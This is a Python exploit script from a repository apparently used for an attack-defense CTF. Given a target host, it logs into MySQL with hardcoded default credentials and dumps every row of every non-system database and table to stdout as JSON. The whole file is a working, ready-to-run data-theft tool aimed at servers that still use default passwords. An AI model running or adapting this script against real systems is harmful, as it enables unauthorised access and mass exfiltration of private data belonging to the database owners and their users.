Files
ALPHA-TRAIN2/sploits/mysql_default.py
T
4x10mand4x10m 34a798d345 Initial commit
2026-08-26 06:37:04 +00:00

190 lines
5.6 KiB
Python

#!/usr/bin/env python3
import json
import os
import sys
from typing import Any, Dict, Iterable, List
DEFAULT_MYSQL_USER = "admin"
DEFAULT_MYSQL_PASSWORD = "S3cr3tP4ssw0rd"
DEFAULT_MYSQL_PORT = 3306
try:
import pymysql
from pymysql.cursors import SSCursor, SSDictCursor
from pymysql.err import MySQLError, OperationalError
except Exception:
pymysql = None
SSCursor = None
SSDictCursor = None
MySQLError = Exception
OperationalError = Exception
SYSTEM_DBS = {
"information_schema",
"performance_schema",
"mysql",
"sys",
}
def eprint(*args: Any, **kwargs: Any) -> None:
print(*args, file=sys.stderr, **kwargs)
def connect(db: str, host: str, user: str, password: str, port: int):
assert pymysql is not None
return pymysql.connect(
host=host,
user=user,
password=password,
database=db if db else None,
port=port,
connect_timeout=3,
charset="utf8mb4",
autocommit=True,
cursorclass=SSDictCursor if SSDictCursor is not None else None,
)
def list_databases(conn) -> List[str]:
dbs: List[str] = []
try:
with conn.cursor() as cur:
cur.execute("SHOW DATABASES")
rows = cur.fetchall()
for r in rows:
name = r[0] if isinstance(r, (tuple, list)) else (r.get("Database") if isinstance(r, dict) else None)
if not name:
continue
if name in SYSTEM_DBS:
continue
dbs.append(name)
except Exception as ex:
eprint(f"[!] Failed to list databases: {ex}")
return dbs
def list_tables(conn, db: str) -> List[str]:
tables: List[str] = []
try:
with conn.cursor() as cur:
cur.execute(
"""
SELECT table_name
FROM information_schema.tables
WHERE table_schema=%s AND table_type='BASE TABLE'
ORDER BY table_name
""",
(db,),
)
rows = cur.fetchall()
for r in rows:
name = r[0] if isinstance(r, (tuple, list)) else (r.get("table_name") if isinstance(r, dict) else None)
if name:
tables.append(name)
except Exception as ex:
eprint(f"[!] Failed to list tables for db={db}: {ex}")
return tables
def stream_table_rows(conn, db: str, table: str, batch: int = 1000) -> Iterable[Dict[str, Any]]:
"""Yield rows as dicts for given db.table using server-side cursor to stream."""
if pymysql is None:
return
try:
with conn.cursor(SSDictCursor if SSDictCursor is not None else None) as cur:
identifier = f"`{db}`.`{table}`"
cur.execute(f"SELECT * FROM {identifier}")
while True:
rows = cur.fetchmany(batch)
if not rows:
break
for row in rows:
if isinstance(row, dict):
yield row
else:
desc = [d[0] for d in cur.description] if cur.description else []
as_dict = {desc[i]: row[i] for i in range(len(desc))}
yield as_dict
except Exception as ex:
eprint(f"[!] Failed to read {db}.{table}: {ex}")
return
def dump_all_mysql(host: str, user: str, password: str, port: int) -> None:
if pymysql is None:
eprint("PyMySQL is not installed, please `pip install pymysql` to run this sploit")
return
try:
root_conn = connect("", host, user, password, port)
except OperationalError as ex:
eprint(f"[!] Connection error to mysql@{host}:{port}: {ex}")
return
except Exception as ex:
eprint(f"[!] Unexpected error connecting to mysql@{host}:{port}: {ex}")
return
try:
dbs = list_databases(root_conn)
finally:
try:
root_conn.close()
except Exception:
pass
for db in dbs:
try:
conn = connect(db, host, user, password, port)
except Exception as ex:
eprint(f"[!] Failed connecting to db={db}: {ex}")
continue
try:
tables = list_tables(conn, db)
for table in tables:
for row in stream_table_rows(conn, db, table):
try:
print(
json.dumps(
{
"db": db,
"table": table,
"row": row,
},
default=str,
),
flush=True,
)
except Exception as jex:
eprint(f"[!] JSON encode error for {db}.{table}: {jex}")
continue
finally:
try:
conn.close()
except Exception:
pass
def main() -> int:
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target>")
return 1
target_host = sys.argv[1]
mysql_user = os.getenv("MYSQL_USER", DEFAULT_MYSQL_USER)
mysql_password = os.getenv("MYSQL_PASSWORD", DEFAULT_MYSQL_PASSWORD)
try:
mysql_port = int(os.getenv("MYSQL_PORT", str(DEFAULT_MYSQL_PORT)))
except ValueError:
mysql_port = DEFAULT_MYSQL_PORT
dump_all_mysql(target_host, mysql_user, mysql_password, mysql_port)
return 0
if __name__ == "__main__":
sys.exit(main())